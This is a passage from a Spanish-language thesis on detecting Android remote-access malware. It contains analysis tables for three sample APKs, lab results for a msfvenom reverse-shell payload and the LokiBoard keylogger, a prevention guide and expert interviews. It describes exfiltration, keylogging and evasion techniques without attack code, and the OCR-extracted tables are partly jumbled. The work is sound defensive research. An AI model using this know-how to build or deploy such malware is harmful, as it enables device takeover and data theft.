Proveedores: 3 (0 exportados)
VERSION MINIMA 10 19 15
DE SDK
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VERSION OBJETIVO
DE SDK

No especificada

28

30

CERTIFICADO Y
FIRMA

Firma de depuracion (RSA con
SHA-1, vulnerable a colisiones)

Certificado SHA-256 con
vulnerabilidad Janus en dispositivos
antiguos

Firma RSA con SHA-1, expuesta a
colisiones y Janus

VULNERABILIDADE
S DE MANIFIESTO

e Permite instalacion en
Android sin parches
e Recepcion de transmisiones

Nno segura

e Instalacion permitida en
versiones sin soporte
e EXpone receptores y servicios

sin proteccion adecuada

e |nstalable en Android sin
soporte de seguridad

e Depuracion habilitada

VULNERABILIDADE

e Uso de SSL con fijacion de

Ningun problema especifico detectado

e Registra informacion

S DE CODIGO
certificado sensible
e Hash SHA-1 para e Modo de depuracion activo
integridad (inseguro)
e Generador de numeros no
seguro
APl Y <ul><li>Carga de clases y DEX <ul><li>IPC</li><li>Carga de codigo | <ul><li>Ejecucion de comandos
OPERACIONES dindmicos</li><li>Conexiones nativo</li><li>Operaciones locales de = OS</li><li>IPC</li><li>Operacione
SENSIBLES HTTPS</li><li>Operaciones E/S</li></ul> s locales de E/S</li></ul>

locales de E/S</li></ul>

PROTECCIONES EN
BINARIOS

Ninguna

<ul><li>NX
activado</li><li>Canarios de pila
habilitados</li><li>Relocacién de
codigo parcial</li></ul>

No se encontraron librerias
compartidas
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CONEXION DE RED

No se especifican

Conexiones a servidores ubicados en
China y Hong Kong

Comunicacion con servidor ubicado
en EE.UU. (cs460-android-
keylogger.appspot.com)

APK PRUEBA

APK MAGISTV

APK KEYLOGGER

Tabla 4: Cuadro descriptivo de Malware — Andlisis Estatico

El cuadro descriptivo presentado resume el analisis dindmico realizado sobre tres aplicaciones Android utilizando Drozer, una

herramienta de seguridad enfocada en detectar y explotar vulnerabilidades en aplicaciones moviles. Cada fila detalla los elementos

analizados, como broadcast receivers, actividades exportadas y permisos solicitados, mostrando los comandos utilizados, resultados

CUADRO DESCRIPTIVO ANALISIS DINAMICO DE MALWARE'S DE ESTUDIO

ELEMENTO BROADCAST | ACTIVIDADES PERMISOS INICIO DE MANIFEST DEL | EXPLOTACION DETALLE
ANALIZADO EXPORTADAS | SOLICITADOS | ACTIVIDADES PAQUETE DE
CONTENIDOS
App 1: com.metasploit.st | com.metasploit.st | Error en Comportamiento | Archivo Dependiendo del
com.metasploit.sta | age.MainBroadca | age.MainActivity | ejecucion. Se esperado, pero AndroidManifest.x | URI, la app podria
ge stReceiver recomienda requiere ml analizado. exponer datos
Permiso: null explorar permisos | parametros Informacion sensibles.
en especificos. completa de PRUEBA.APK
AndroidManifest. permisos y

xml.

configuraciones.
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App 2: com.google.fireba | com.mobile.brasil | Los permisos Comportamiento | El archivo en No se encontraron
com.msandroid.m | se.iid.Firebaselnst | tv.activity.Splash | solicitados de la esperado, pero cuestion de URIs de contenido
obile anceldReceiver Aty aplicacion se requiere AndroidManifestx | accesibles. Los
Permission: com.mobile.brasil | presenta al parametros ml analizado proveedores
com.google.andro | tv.activity.MainAt | efectuar la especificos. presenta sin duda detectados (Content
id.c2dm.permissio | y informacion del alguna todas las Providers) no estan
n.SEND com.umeng.messa | package, configuraciones exportados o MAGISTV.APK
ge.UMessageNoti | mostrando un COMO permisos requieren permisos
androidx.work.im | fyActivity total de 21 correspondiente a adicionales para
pl.diagnostics.Dia | Target Activity: permisos que la aplicacién al acceder, lo cual es
gnosticsReceiver | com.umeng.messa | rwquiere para su momento de su una configuracion
Permission: ge.notify.UPushM | funcionamiento, gjecuciéon y segura."”
android.permissio | essageNotifyActi | que a su vez movimiento
n.DUMP vity define acciones de
extraccion de
datos
App 3: No cuentan con com.bshu2.androi | Los permisos que | Comportamiento | Se analizd el No accessible
com.googl.speed | Broadcast dkeylogger.Main | manifiesta el esperado, pero archivo content URIs
receivers Activity package son dos requiere AndroidManifest.x | found.
que es el del parametros ml, obteniendo
internet y el especificos. detalles completos

Access_network_
state, adicional
cuenta con una
direccion path de
donde se
encuentra una
base.apk

sobre los permisos
y configuraciones
de la aplicacion.

ANDROIDKEYL
LOGER.APK

Tabla 5: Cuadro descriptivo de Malware — Analisis Dinamico
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3.1.1.4 FASE IV: PRUEBAS DE LABORATORIOS

En la siguiente fase de pruebas especificas y monitoreo del comportamiento del malware, se analizaron el payload de msfvenom y

LokiBoard en un entorno controlado. Estas pruebas permitieron evaluar sus métodos de propagacion y capacidades maliciosas:

« Msfvenom - Payload logro infiltrarse en el dispositivo, exfiltrar datos sensibles (contactos, SMS, registros de llamadas y archivos
multimedia) y establecer control remoto mediante conexion inversa.

o LokiBoard captur6é pulsaciones de teclado, nimeros telefonicos y mensajes enviados, ademas de automatizar el envio de

mensajes a un numero especifico.
El cuadro sintetiza estos resultados, proporcionando una visién clara de los mecanismos utilizados y los datos comprometidos.

CUADRO DESCRIPTIVO DE ESCENARIOS DE PRUEBAS

ASPECTO PAYLOAD DE MSFVENOM LOKIBOARD
DESCRIPCION Generador de payloads maliciosos disefiados para Malware que se disfraza como un teclado legitimo,
explotar vulnerabilidades o ejecutar acciones disefiado para capturar informacién y mantener
maliciosas en dispositivos comprometidos. persistencia en el dispositivo.
METODOS DE - Ingenieria social: Envio de archivos o enlaces - Distribucion en tiendas de apps: Publicado como
PROPAGACION maliciosos. una app funcional.
- Explotacion de vulnerabilidades: Aprovecha
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fallos en apps o sistemas.
- Inyeccién: Modificacion de APKs legitimas.

- Loaders: Instalado mediante otras aplicaciones.
- Privilegios elevados: Solicita permisos excesivos.

EJECUCION INICIAL

- Establece una conexion inversa con el atacante

(reverse shell).

- Se ejecuta como un teclado funcional para ganar la

confianza del usuario.

PERSISTENCIA

- Puede ser reactivado mediante scripts adicionales o
tareas programadas.
- Usualmente temporal si no se combina con otros

métodos de persistencia.

- Modifica configuraciones para iniciarse
automaticamente.
- Mantiene permisos elevados para operar sin

restricciones.

TECNICAS DE EVASION

- Ofuscacion del payload para evitar deteccion por
antivirus.
- Cifrado de la carga maliciosa.

- Uso de empaquetadores personalizados.

- Disfrazado como una app legitima.
- Solicitud de permisos extensivos para minimizar

sospechas.

CAPACIDADES

- Robo de informacion.
- Control remoto del dispositivo.
- Movimiento lateral en redes comprometidas.

- Captura de audio y video.

- Registro de pulsaciones de teclado (keylogging).
- Robo de credenciales sensibles.
- Transmision de datos a servidores controlados por

atacantes.
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RESULTADOS DEL ., .
Informacion obtenida:

ESCENARIO DE Informacion obtenida: _ -
- Contactos del dispositivo.

PRUEBA - Contactos del dispositivo.

. - . - Mensajes SMS recibidos y enviados.
- Mensajes SMS recibidos y enviados.

- Historial de llamadas.

- Historial de llamadas. ) - )
- Archivos multimedia como fotos y videos.

- Archivos multimedia como fotos y videos.

DETALLE Penetracion_Prueba Penetracion_Keylogger
Tabla 6: Cuadro descriptivo del arte de malware en escenarios de pruebas

3.1.15 FASEV: REPORTE

En esta fase comprende en el desarrollo de reporte de las pruebas de escenarios realizada en la fase anterior con la finalidad de presentar
un resume de los hallazgos obtenidos en las pruebas de seguridad, describiendo procedimientos, resultados y recomendaciones. Su

objetivo es detallar vulnerabilidades detectadas y proponer medidas para fortalecer la seguridad del sistema.

e El Reporte 1: Prueba.apk evalu6 la vulnerabilidad Reverse_ TCP, demostrando como un atacante puede acceder al dispositivo

Android y extraer datos sensibles. Se destaco la necesidad de controles estrictos de instalacidn y actualizaciones de seguridad

para mitigar estos riesgos (\VVer Reportel: Prueba,apkj).
e El Reporte 2: Lokiboard.apk analizé un keylogger que registraba pulsaciones de teclas sin deteccion, comprometiendo

contrasefias y datos personales. Se recomendo reforzar las medidas de deteccion de malware y monitoreo de configuraciones

criticas del sistema (\Ver Reporte2: Lokiboard.apk).
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3.1.2 PROPUESTA GUIA

GUIA TECNICA DE PREVENCION CONTRA MALWARE RAT EN
DISPOSITIVOS ANDROID

El malware RAT (Trojan de Acceso A distancia) en equipos Android es una amenaza
sofisticada que facilita a los intrusos tener control total a distancia sobre los dispositivos
impactados. Esto abarca el acceso a informacion delicada, la activacion de camaras y
microfonos, la supervision en tiempo real y la implementacion de 6rdenes malintencionadas
que ponen en riesgo la privacidad y proteccion del usuario. Adicionalmente, este tipo de
malware puede emplear métodos de persistencia y evasion, lo que complica su identificacion
y suprimir. Esta guia ofrece una perspectiva técnica minuciosa, incluyendo acciones
preventivas, supervision especializada y tacticas de mitigacion fundamentadas en
herramientas sofisticadas y mejores practicas para asegurar la proteccion de los dispositivos
Android.
SEGURIDAD PROACTIVA EN DISPOSITIVOS ANDROID
1. Actualizacién del sistema operativo y aplicaciones:
o Descripcion: Mantener actualizado Android es esencial para corregir
vulnerabilidades.
o Técnica: Activar las actualizaciones automaticas y revisar periddicamente la
instalacion de parches de seguridad.
o Herramienta recomendada: OEM Update Checkers de fabricantes como
Samsung o Xiaomi para confirmar versiones seguras.
2. Gestion granular de permisos:
o Descripcion: Restringir permisos no esenciales otorgados a las aplicaciones.
o Técnica: Desde Ajustes > Aplicaciones, revisar los accesos otorgados (como
ubicacion o almacenamiento).
o Herramienta recomendada: Bouncer, para supervisar permisos

temporalmente.
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3. Proteccion antimalware:

(o]

Descripcion: Prevenir infecciones con herramientas de seguridad que
detecten RATS.
Técnica: Realizar escaneos programados y en tiempo real.
Herramientas recomendadas:
= Malwarebytes Mobile Security: Analisis continuo y eliminacién de
malware.
= Avira Antivirus Security: Bloqueo de amenazas de red y de

dispositivos.

4. Desactivacion de depuracién USB:

(o]

Descripcion: Evitar que atacantes exploten el puerto ADB activado en
dispositivos Android.

Técnica: Desde Opciones de desarrollador, desactivar la depuracion USB
tras su uso.

Consejo técnico: Usar comandos como adb kill-server en entornos

corporativos.

5. Cifrado de datos:

(o]

Descripcion: Proteger informacion almacenada en el dispositivo con cifrado
avanzado.

Técnica: Activar cifrado desde Ajustes > Seguridad > Cifrar Teléfono.
Compatibilidad: Funcionalidad predeterminada en dispositivos con Android

10 o superior.

MONITOREO Y DETECCION DE ACTIVIDAD SOSPECHOSA

1. Andlisis del tréafico saliente:

(0]

Descripcion: Detectar conexiones no autorizadas hacia servidores
controlados por atacantes.

Técnica: Usar herramientas como NetGuard para monitorear el trafico de
aplicaciones.

Practica recomendada: Configurar reglas especificas para bloquear
solicitudes a dominios sospechosos.
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2. Monitoreo de procesos en gjecucion:

(¢]

(¢]

Descripcion: Identificar procesos ocultos o con comportamiento anémalo.

Técnica: Utilizar Task Manager Apps o comandos de terminal (ps aux) para
listar procesos activos.

Herramienta recomendada: Activity Monitor para analizar patrones de
CPU y RAM en tiempo real.

3. Registroy analisis de eventos del sistema:

o

(o]

Descripcion: Registrar eventos criticos para identificar actividades
maliciosas.

Técnica: Usar Logcat desde ADB para obtener detalles sobre errores o
accesos anomalos.

Comando ejemplo: adb logcat > registro_eventos.txt para guardar los logs.

4. Revision de aplicaciones instaladas:

(o]

O

Descripcion: ldentificar APKs maliciosas instaladas en el dispositivo.

Técnica: Ejecutar adb shell pm list packages y contrastar con bases de datos
de malware como VirusTotal.

Herramienta recomendada: APK Analyzer para descompilar y examinar
permisos de aplicaciones sospechosas.

5. Alertas en tiempo real:

(o]

Descripcion: Configurar herramientas que envien notificaciones sobre
comportamientos extrafios.

Técnica: Implementar apps con deteccidn heuristica, como Sophos Intercept
X.

CONFIGURACION SEGURA DE REDES Y ENTORNOS EN ANDROID

1. Redes privadasy VPN:

(0]

Descripcion: Cifrar conexiones para evitar intercepciones de datos en redes
publicas.

Técnica: Configurar VPN confiables como NordVVPN o ProtonVPN.

Consejo adicional: Desactivar el uso compartido de red en dispositivos
Android.
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2. Aislamiento de dispositivos vulnerables:

o Descripcion: Separar dispositivos con configuraciones sospechosas en
subredes dedicadas.

o Técnica: Configurar VLANS en redes corporativas.

o Herramienta recomendada: RouterOS para gestionar segmentacion.
3. Cifrado de red:

o Descripcion: Proteger el trafico de red con estandares seguros.

o Técnica: Configurar routers domeésticos con WPA3 y restringir accesos por
direccion MAC.

4. Control de puertos y conexiones:
o Descripcion: Bloguear puertos abiertos que podrian ser explotados por RATS.

o Técnica: Usar firewalls como AFWall+ para administrar conexiones en
Android.

o Puerto critico: Bloquear el 5555, utilizado por ADB en modo remoto.
5. Auditorias de conectividad:

o Descripcion: Realizar revisiones periodicas de las configuraciones de red y
sus logs.

o Técnica: Usar scripts de analisis como Nmap para identificar puntos débiles
en redes asociadas al dispositivo.

RESPUESTA Y MITIGACION EN CASO DE INFECCION
1. Desconexion inmediata del dispositivo:
o Descripcion: Aislar el dispositivo infectado para limitar el alcance del ataque.
o Técnica: Apagar conexiones de red y datos moviles desde ajustes rapidos.
2. Escaneo y eliminacién del malware:
o Descripcion: Analizar el sistema con herramientas avanzadas de eliminacion.

o Herramienta recomendada: Avast Mobile Security con analisis en tiempo
real.
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3. Restauracion a valores de fabrica:
o Descripcion: Reiniciar el dispositivo desde Ajustes > Sistema > Restablecer.

o Consejo técnico: Realizar un analisis previo de respaldos para evitar
reinfecciones.

4. Analisis forense del APK malicioso:

o Descripcion: Examinar el archivo malicioso para comprender su
comportamiento.

o Técnica: Usar herramientas como MobSF para analisis estaticos y dindmicos.
5. Revisidn de configuraciones persistentes:

o Descripcion: Identificar scripts de inicio automatico o configuraciones
maliciosas.

o Técnica: Examinar archivos en /data/data/<paquete> y eliminar datos
sospechosos.

POLITICAS Y BUENAS PRACTICAS PARA ANDROID
1. Gestién centralizada con MDM:

o Descripcion: Implementar soluciones como Microsoft Intune para aplicar
politicas de seguridad en dispositivos empresariales.

2. Politica de acceso limitado:
o Descripcion: Restringir permisos segun roles especificos de los usuarios.
3. Auditorias de seguridad:

o Descripcion: Realizar pruebas de penetracién regulares para evaluar
vulnerabilidades.

4. Capacitacion continua:

o Descripcion: Ensefar a los usuarios sobre riesgos comunes como phishing y
APKs fraudulentas.

5. Copias de seguridad regulares:

o Descripcion: Configurar respaldos automaticos en entornos seguros como
Google Drive.

50



CONCLUSIONES

» Sellevo a cabo un estudio comparativo de métodos estaticos y dinamicos del Malware
RAT en dispositivos Android, brindando una comprension completa del
comportamiento del Malware. Las comparaciones de ambas técnicas se llevaron a
cabo en base a patrones de analisis ideales, mientras que para las técnicas estaticas se
dispone de la identificacion de codigo, firmas caracteristicas, desensamblado, entre
otros aspectos. En cambio, las técnicas dinamicas incluyen la observacion del
comportamiento en tiempo real, que abarca interacciones con el sistema,
comunicaciones de los servicios, actividades, entre otros aspectos. Por lo tanto, el
estudio de estas técnicas destaco la relevancia de emplear este tipo de investigacion

para ofrecer enfoques totalmente precisos en deteccion y evaluacion.

» Los laboratorios de pruebas basados en maquinas virtuales evidenciaron ser un
ambiente seguro y regulado para llevar a cabo anélisis exhaustivos del malware RAT.
Estos incluyen herramientas sofisticadas como MobSF para andlisis estatico, que
posibilita desensamblar el cddigo, detectar vulnerabilidades y identificar firmas
maliciosas, y Drozer para andlisis dinamico, lo que permite el examen del
comportamiento del malware en tiempo real y su interaccion con servicios
susceptibles. Se crearon dos escenarios de pruebas de penetracion: en el primero, un
paquete malintencionado consiguié extraer datos delicados, como contactos,
mensajes de texto y archivos multimedia; mientras que, en el segundo, se concentro
en recuperar pulsaciones de texto, consiguiendo asi credenciales, numeros de teléfono

y mensajes privados.

» La evolucion del malware RAT para Android, que emplea el payload malicioso
generado con msfvenom y el keylogger Lokiboard Keyboard, demuestra una
habilidad sofisticada para poner en riesgo la seguridad de los dispositivos. El payload
posibilita el acceso total a distancia, simplificando la obtencion de datos personales,
imagenes, contactos y mensajes. Por otro lado, la tecla Lokiboard registra las
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pulsaciones de teclado y las guarda en un archivo, facilitando asi la recuperacion de
credenciales, nimeros de teléfono y correos. Los dos elementos colaboran para
garantizar la permanencia en el dispositivo y eludir la deteccion, lo que resalta la
importancia de establecer estrategias de seguridad sélidas para salvaguardar la

informacion delicada en Android.

» La guia elaborada incluye tacticas técnicas y operativas que incluyen acciones de
prevencion, reaccion y seguimiento para reducir los riesgos vinculados al malware
RAT. Incorpora sugerencias concretas como la renovacion constante de sistemas, la
utilizacion de instrumentos de analisis sofisticados, la configuracion de redes seguras
y la formacion de los usuarios. Estas acciones refuerzan la posicion de seguridad en
aparatos Android, disminuyendo la posibilidad de infeccion y atenuando el efecto si

se produce una intrusion.

RECOMENDACIONES

» Es fundamental fortalecer el analisis de malware utilizando herramientas avanzadas
como MobSF para el analisis estatico, permitiendo desensamblar el codigo y detectar
vulnerabilidades, y Drozer para el analisis dinamico, que evalta el comportamiento
del malware en tiempo real. Ademas, se recomienda capacitar a los especialistas en
técnicas avanzadas de deteccidén para mejorar la precision en la identificacion de

amenazas Yy patrones maliciosos.

» La configuracion de entornos seguros para pruebas es esencial para realizar analisis
controlados del malware. Esto incluye el uso de méaquinas virtuales como VirtualBox
y Android Studio Emulator, configuraciones de redes aisladas para evitar la fuga de
datos y el disefio de escenarios especificos que permitan evaluar la capacidad del

malware para comprometer dispositivos y extraer datos sensibles.
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» Para proteger los dispositivos Android frente a RATS, se recomienda mantener
actualizados tanto el sistema operativo como las aplicaciones, cerrar vulnerabilidades
conocidas mediante parches de seguridad y restringir los permisos de aplicaciones a
lo estrictamente necesario. También es crucial utilizar software de seguridad
confiable que permita detectar y eliminar amenazas como payloads maliciosos y
keyloggers.

» La implementacion de estrategias de prevencion y mitigacion incluye monitorear de
manera proactiva el comportamiento de los dispositivos, identificando patrones
sospechosos en el trafico de datos y la interaccion con el sistema. Ademas, la
educacion de los usuarios sobre buenas practicas, como instalar aplicaciones solo
desde fuentes confiables, y la realizacién de copias de seguridad periddicas, son

medidas clave para minimizar los riesgos.

» Esimprescindible establecer politicas de seguridad tecnoldgica robustas. Estas deben
incluir planes de respuesta rapida ante incidentes de malware, cifrado de datos
sensibles para proteger la informacion extraida y la realizacién de auditorias
periddicas que permitan identificar y mitigar posibles vulnerabilidades. Estas
acciones refuerzan la seguridad de los dispositivos Android frente a amenazas

avanzadas como el malware RAT.
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ANEXOS



ANEXOS #1: Entrevista al experto en Hacking Etico de la Universidad Peninsula de
Santa Elena, Especialista 1

UNIVERSIDAD ESTATAL PENINSULA DE SANTA ELENA
FACULTAD DE SISTEMAS Y TELECOMUNICACIONES
TECNOLOGIAS DE LA INFORMACION

Objetivo: Este cuestionario esta disefiado para la recopilar informacion sobre los problemas
de la seguridad informatica en dispositivos Android, centrandose en las vulnerabilidades y
métodos de deteccion de malware RAT hacia expertos de Ciberseguridad.

¢Cudl es su experiencia en el analisis de malware, especialmente en el contexto de RAT en
plataformas Android?

Desde su experiencia se ha realizado en la universidad algunas pruebas en laboratorios
controlados, ha dirigido un par de tesis de analisis de malware el cual pues en su momento
analizo lo que es el ransoware en este caso hizo analisis automatico con técnicas manuales y
temas controlados en ambiente de laboratorios, el tema del Rat piensa que es un tema muy
importante, es un malware que en algun punto toma control remoto del dispositivo que esta
infectando, entorno ah esto en los trabajos anteriores ah usado las técnicas estaticas como
dinémicas.

En su opinidn, ¢qué beneficios especificos ofrece la combinacion de técnicas de deteccion
estaticas y dinamicas en el analisis de malware RAT en comparacion con el uso de una técnica
de forma aislada?

Si en algun punto se utiliza estas por separadas las técnicas tanto estaticas como dinamicas
puede ser que se vayan ciertos temas importantes o que se escape un comportamiento que tiene
el malware, el uso o la combinacion de estas técnicas el beneficio es que maximiza la
capacidad d deteccion. x ejemplo: En el analisis estatico: hay malware que en algin punto
utiliza técnicas de ofuscacion que puede ser g no se detecten. En el analisis dinamico: se va a
ver ciertas conexiones o ciertos comportamientos que reflejan g si es un malware. La
combinacion lo que hace es maximizar la capacidad de la deteccion.

¢Ha observado mejoras en la precision y eficacia de la deteccion de RAT al aplicar técnicas
de deteccion combinadas en su experiencia? Si es asi, ;puede proporcionar ejemplos
especificos?

En algin momento al usar técnicas combinadas se detecté un malware, que en la técnica
estatica habia utilizado una ofuscacion la carga util el payload entonces habia utilizado esta
ofuscacion y el analisis estatico no se lo detecto paso como un cdédigo o archivo original,
legitimo pero al ejecutar el analisis dinamico se observd como el malware intentaba conectarse
a un servidor de comando Yy control, un servidor de comando y control es un servidor que
esta esperando que el malware sea ejecutado en algun dispositivo en alguna parte del mundo
y este malware se conecta a este servidor descarga ciertas cosas adicionales y le da el control
total a una persona remotamente del dispositivo entonces en el estatico paso x alto mientras q
en el dindmico se percaté que queria conectarse a un servidor de comando y control eso es lo
que sucedio en la precision y eficacia de mejora en el uso de las técnicas combinadas.
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¢Cuales son las técnicas de deteccion estatica que considera mas efectivas para identificar
RAT en plataformas Android, y por qué?

En la parte estatica lo que se va a analizar de cierta forma es el codigo, se desarma ese malware,
el programa, el codigo y se comienza a analizar lo que basicamente se busca ahi son permisos
que solicita el malware se busca patrones de codigos y firmas, por lo general al hablar de
permisos, este tipo de malware te pide permisos excesivos en un dispositivo te pide permisos
para tener acceso a los sms, permiso a cAmara. permiso a microfono, permiso a los contacto,
si un software en este caso un apk destinado para cierta operacion o funcién en el teléfono
pero se visualiza que esta pidiendo demasiados permisos a otras cosas que no tiene porque
pedirlas entonces se puede tratar de algo en el andlisis estatico. Se puede utilizar también el
apk tools es una aplicacion donde permite revisar codigo fuentes y buscar a la final patrones
conocidos de malware. Las técnicas entre esttica y dindmicas, escoge las dos porque la
estatica a veces no detecta, en esta igual iria a revisar patrones, firmas, codigos y unas de las
herramientas seria el apk tools.

Desde su perspectiva, ¢qué limitaciones tienen las técnicas de deteccion estatica cuando se
utilizan solas en el analisis de RAT?

La limitacion seria es que no siempre se podrian identificar codigos g vienen ofuscados o
cddigos polimorficos dsea codigos que vienen de alguna forma lleno de parametros y basura
entre comillas, que hacen que sea imposible la deteccion sencilla y que un antivirus a la final
lo pueda detectar la limitacién es esa no siempre se podria identificar malwares que vienen
ofuscados o en un lenguaje polimérfico, no vas a poder capturar comportamientos asi es el
estatico, no capturas que te crea un archivo no capturas q se conecte a una red publica entonces
basicamente el andlisis estético x si solo puede fallar, muy limitado muy simple, es que ya
existen técnicas d evasion de ese tipo de analisis o los famosos encoders que existen

¢ Qué técnicas de deteccion dinamica ha encontrado mas Utiles para la identificacion de RAT,
y como complementan las técnicas de deteccidn estatica?

En esta pregunta se configura el entorno donde se va a realizar el andlisis, en las técnicas
dindmicas dijo que son muchos mas Utiles pero se hacen en entornos controlados se lo hacen
en sambox, en donde tienes g instalar casi un entorno real un android, herramienta d analisis
kali, o cain q sirve para ver temas d forense, tal vez un servidor que simule internet o de salida
a internet entonces ese sambox o ese laboratorio es el g va a permitir que de alguna forma
ejecutar una técnica dinamica entonces esto complementa mucho al analisis estatico porque
en si ya da una vision mas real d interaccion entre el dispositivo y la red porque en algin punto
cuando se ejecuta el malware va a buscar la re, va a buscar conexiones hacia afuera, va a crear
tal vez archivos o va a descargar archivos y es ahi donde se va a complementar mucho lo que
se realiz0 estaticamente o tal vez si estaticamente no se detect nada se va a poder visualizar
que si es un malware porque esta comportandose como tal entonces las técnicas que se podrian
utilizar es sambox que son estos laboratorios que hay q implementar en algin momento para
complementar con el estatico.

¢Podria describir algin caso en el que la combinacion de técnicas de deteccion haya resultado
en la identificacion de RAT que no se habria detectado utilizando solo una de las técnicas?
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Claro si hay una caso de un rat que utilizaba ofuscacién avanzada o encoder avanzado,
encoder que no estaban detectadas las firmas y eran desconocidas y en ese caso se utilizaba
esta ofuscacion avanzada para esconder el payload para esconder el codigo malicioso y paso
el andlisis estatico 6sea se fue como un archivo legitimo cm un programa o un apk legitimo
basicamente el andlisis estatico revelo que era un cddigo inofensivo pero al ejecutar la muestra,
ejecutar el codigo en el entorno controlado en el sambox se pudo ver efectivamente queria
conectarse a servidores afuera y comenzo a descargar archivos entonces es un caso que
sucedio que en algun punto te lleva a ver la importancia de ejecutar los dos analisis.

En términos de implementacion, ¢(qué desafios ha enfrentado al combinar técnicas de
deteccidn estaticas y dindmicas, y como los ha superado?

El mayor desafio esta tal vez en el recurso del hardware y se puede presentar en algiin momento
necesitaras alta demanda de recursos porque vas no solamente a implementar un servidor si
no g se va a implementar tal vez 3 o 2 servidores para hacer el analisis dindmico entonces te
va a demanda recursos en cuanto hardware y de paso también tiempo en la implementacion
del laboratorio en la implementacion del sambox.

En el analisis dindmico por otro lado puede ser lento y dificil de configurar, especialmente
porque se tiene que simular entornos reales, seria instalar una maquina virtual con un android
y una maquina que simule un cliente u otros teléfonos para ver si el comportamiento no es que
se quiere pasar d uno a otro, tal vez una maquina que te esté censando que archivos quiere
crear.

El tema es el recurso el hardware y el tiempo como nosotros lo hemos superado es el uso de
servidores, nosotros no lo hemos hechos en maquinas laptops o maquinas de escritorios
normales si no que se le ha ejecutado en servidores con un entorno virtualizado se cred una
vlan totalmente separadas de las vlans de produccion se encerro el laboratorio y sobre eso se
cred maquinas virtuales para cada una d esto,

La otra opcion como superar también al ejecutar en algin momento fue con una maquina de
escritorio pero que tenia buenas caracteristicas en hardware tenia una tarjeta grafica de 8 o 16
de ram tenia la ram propia de la maquina que era 32 0 40 no recuerda bien pero g asi ha sido
superado el tema del hardware porque si se quiere ejecutar en una laptop de un usuario d una
laptop sencilla a la final te va a llevar mucho en cuestion el tiempo y se presentaran mas
dificultades.

¢ Qué métricas considera mas relevantes para evaluar la precision y eficacia en la deteccion de
RAT al usar técnicas combinadas en comparacion con técnicas individuales?

Porque en algin punto es como decir g una métrica se va a medir el tiempo de ejecucion no
seria una métrica tan real.

La técnica combinada te va a llevar méas tiempo que la técnica individual.
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1 El tiempo de ejecucion es una métrica
Usar una técnica por separado te va a llevar menos tiempo que al realizarla las dos técnicas.

2 La tasa de deteccidn seria las segunda métrica porque si se usa una técnica x separado a la
final no se podria detectar x ejemplo si analizas 10 muestras esa técnica separada te va a dar
una métrica de 5 archivos detectados, pero en cambio si se utiliza la técnicas combinadas esas
muestras que se lanzé en la anterior de esas 10 puede ser que detecte 8.

La tasa de deteccion viene de la mano con la métrica de falsos positivos, falsos positivos: es
que una te diga tal vez que si es y la otra que te diga g no, es un codigo limpio.

3 La cobertura del comportamiento: tal vez una técnica no de todo el comportamiento real x
ejemplo la técnica estética estd pidiendo permisos de ciertas cosas.

La dindmica o la combinacion de ambas va a dar una métrica diferente en cuanto a
comportamiento esta creando archivos esta bajando esto.

¢Qué recomendaciones daria a los investigadores y profesionales de la ciberseguridad sobre
el uso de técnicas de deteccion combinadas para mejorar la deteccion de malware en
dispositivos Android?

Las recomendaciones:

1 Utilizar el hardware apropiado para q facilite el trabajo y d alguna forma disminuya el tiempo
de analisis

2 No depender de una sola técnica porgue si dependes d una sola se pueden pasar por alto
algunas cosas cm ya se ha venido mencionando en las anteriores respuestas porque el analisis
estatico y dindmico ofrecen una mayor cobertura y reducen la posibilidad de que un malware
pase por alto.

3 Invertir en herramientas aunque ahora existen diversidades de herramientas de softwares
libres, ademas que existen sambox preinstalados o predisefiados para este tipo de cosas, Si es
que hay la posibilidad d invertir en estas herramientas pues que se realice.

4 Mantener actualizado porque d alguna manera el tema de ofuscacién o de evasion o el tema
de encoders siempre esta evolucionando los atacantes siempre estan tratando de mejorar estas
técnicas de ofuscacion de evasion estos encoders para poder pasarse los antivirus y poder
pasarse este trabajo que realizan la gente de seguridad.
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ANEXOS #2: Entrevista al experto en Seguridad Informatica de la Universidad
Peninsula de Santa Elena, Especialista 2

UNIVERSIDAD ESTATAL PENINSULA DE SANTA ELENA
FACULTAD DE SISTEMAS Y TELECOMUNICACIONES
TECNOLOGIAS DE LA INFORMACION

Objetivo: Este cuestionario esta disefiado para la recopilar informacién sobre los problemas
de la seguridad informética en dispositivos Android, centrdndose en las vulnerabilidades y
métodos de deteccion de malware RAT hacia expertos de Ciberseguridad.

¢ Cual es su experiencia en el analisis de malware, especialmente en el contexto de RAT en
plataformas Android?

En su experiencia especifica que se ha enfocado al analisis de trafico. Eh incluso se encuentra
trabajando en procesos de investigacién en andlisis de trafico de red de manera general:
trafico de red, trafico web, trafico de servicios, vpn, lo que me pide un celular, el trafico que
haga un celular de descarga en toda esa cuestion coge este trafico lo limpia y luego se le ubica
al malware que haga su trabajo para poder buscar ciertos warning, ciertas advertencias que
me digan son malwares.

Hablando del tema que le pregunte respondid que no ha tenido la experiencia como tal de
haber trabajado en el ambito de trafico de dispositivo moviles, tal vez a futuro se daran
ciertos rasgos que van a dar la opcion de entrar en esa parte.

En su opiniodn, ¢qué beneficios especificos ofrece la combinacion de técnicas de deteccion
estaticas y dinamicas en el andlisis de malware RAT en comparacion con el uso de una
técnica de forma aislada?.

En las estaticas comenta casi que no es partidario por lo general son lineas agregadas a
herramientas predefinidas o establecidas sin opcion de modificar o cambiar, si no lo que le
vota el resultado de esta, eso es.

Es maés partidario de las técnicas dinamicas, en su defecto se pueda para poder modificar
cierto codigo, modificar estructuras o mejorar los reportes que se tiene.

En esto esta trabajando con ciertos estudiantes haciendo danswors 0 armando estructuras a
través de algoritmos que den buenos resultados para deteccion de tréfico, en la actualidad un
poco orientado a peticiones web y esas peticiones pueden ser de una maquina o de un
celular

¢Ha observado mejoras en la precisién y eficacia de la deteccidén de RAT al aplicar técnicas
de deteccion combinadas en su experiencia? Si es asi, ¢puede proporcionar ejemplos
especificos?

Indica que las estéaticas realmente sélo aplican una estructura o una herramienta y vota un
solo resultado en la forma de modificar va a cambiar en la dindmica si tiene asi g se inclina
hacia la deteccidn dinamica, pero su orientacion es mas a desarrollo a crearlas no
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especificamente a comprarlas, porque no comprarlas, porque la mayor parte de estas
herramientas vienen dentro d un paquete que se llama o0 soap, que son paquetes ¢ orquestan
toda la seguridad x capa pero su costo es elevado de 20 mil a 50 mil... que es lo mas
Optimo pues crear un grupo que desarrolle este tipo aplicaciones desde cero, que armen su
propia arquitectura y su propia estructura de desarrollo de Ciberseguridad desde su punto de
vista es su recomendacion, tal vez se apoyen con Apis x ejemplo un proyecto de trabajo con
un estudiante donde desarrollo una estructura para capturar paquetes pero el Apis de virus
